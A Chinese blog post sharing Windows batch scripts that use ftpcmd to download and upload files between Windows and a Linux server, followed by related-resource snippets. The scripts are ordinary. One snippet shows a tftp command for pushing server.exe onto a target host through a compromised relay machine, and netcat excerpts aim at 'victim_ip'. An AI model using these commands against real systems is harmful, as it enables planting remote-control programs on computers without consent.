`

实现windows自动从linux上下载、上传文件的批处理

    博客分类:
  • bat
 
阅读更多
第一、需要的工具
(1)ftpcmd.exe
(2)plink.exe

第二、实现download
download.bat
@echo off

setlocal

if "%BMP_HOST%"=="" goto exit
if "%BMP_USER%"=="" goto exit
if "%BMP_PASSWORD%"=="" goto exit
if "%1"=="" goto exit
if "%2"=="" goto exit
if "%3"=="" goto exit

set DST=%3
if not "%4"=="" set DST=%4

ftpcmd get --passive --image true --host %BMP_HOST% --username %BMP_USER% --password %BMP_PASSWORD% --remote "%1" --local "%2" --src "%3" --dst "%DST%"

del /q "%~dp0\*.url"

endlocal

exit

第三、实现upload
@echo off

if "%BMP_HOST%"=="" goto exit
if "%BMP_USER%"=="" goto exit
if "%BMP_PASSWORD%"=="" goto exit
if "%1"=="" goto exit
if "%2"=="" goto exit
if "%3"=="" goto exit

ftpcmd put --passive --image true --host %BMP_HOST% --username %BMP_USER% --password %BMP_PASSWORD% --remote "%1" --local "%2" --src "%3" --dst "%3"

del /q "%~dp0\*.url"

exit
分享到:
评论

相关推荐

    windows脚本SFTP上传文件至备份服务器方案

    windows脚本自动归档、压缩文件,并通过sftp方式(公私钥身份验证)将文档上传至备份服务器(文档中包含详细步骤与脚本源码,本文档为原创文档)。

    netcat 瑞士军刀 linux windows netcat 瑞士军刀 linux windows

     3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.  nc victim_ip port *victim machine*/ 显示执行过程.  nc -vv victim_ip port *victim machine*/ 显示执行过程.  nc -d victim_ip port ...

    WinSCP4.2.9 绿色多语版,内附使用图解。

    类似于Flashget操作,可以非常方便的实现windows向linux计算机上实现文件互传。主要是Linux端不要复杂的设置。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。 特性: 图形用户界面 多语言...

    cmd操作命令和linux命令大全收集

    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送...

    Linux指令一周通 (技术图书大系).azw3

    1.60 ncftpget指令:下载文件 1.61 ncftpput指令:上传文件 1.62 od指令:输出文件内容 1.63 paste指令:合并文件的列 1.64 patch指令:修补文件 1.65 rcp指令:远程复制文件或目录 1.66 rhmask指令:产生加密文件 ...

    入门学习Linux常用必会60个命令实例详解doc/txt

    不过目前大多数较新的Linux发行版本(包括红旗 Linux、中软Linux、Mandrake Linux等)都可以自动挂装文件系统,但Red Hat Linux除外。 umount 1.作用 umount命令的作用是卸载一个文件系统,它的使用权限是超级...

    SSH 开源图形化 SFTP 客户端 WinSCP 5.17.9.zip

    WinSCP 可以执行所有基本的文件操作,例如下载和上传。同时允许为文件和目录重命名、改变属性、建立符号链接和快捷方式。 两种可选界面允许用户管理远程或本地的文件。 连接到远程计算机 使用 WinSCP 可以连接到一...

    webdruino:您最喜欢的 Arduino 设备的 Web 控制

    网管 您最喜欢的 Arduino 设备的 Web 控制。 WebDruino + BlocklyDuino - 警告:非常早期的开发 - 变得稳定。 使用风险自负! Windows 32 位和 Windows ... 需要删除批处理文件并从 turbo 执行 Arduino 编译和上传。

    iMacros为铬「iMacros for Chrome」-crx插件

    iMacros可以与Greasemonkey样式的内容脚本结合使用,并且可以通过命令行(例如,通过Windows任务计划程序,批处理文件或Linux cron作业)启动宏。您可以将iMacros与广告拦截扩展程序(例如AdBlock,FlashBlock和...

    NC源码和程序附上目前最详细的使用手册和使用技巧

    14) telnet,自动批处理。 nc victim_ip port *victim machine*/ 显示执行过程. nc -vv victim_ip port *victim machine*/ 显示执行过程. nc -d victim_ip port 安静模式. _______________file.cmd______...

    NC原版与VC60版本

    14) telnet,自动批处理。 nc victim_ip port *victim machine*/ 显示执行过程. nc -vv victim_ip port *victim machine*/ 显示执行过程. nc -d victim_ip port 安静模式. _______________file.cmd__________________...

Global site tag (gtag.js) - Google Analytics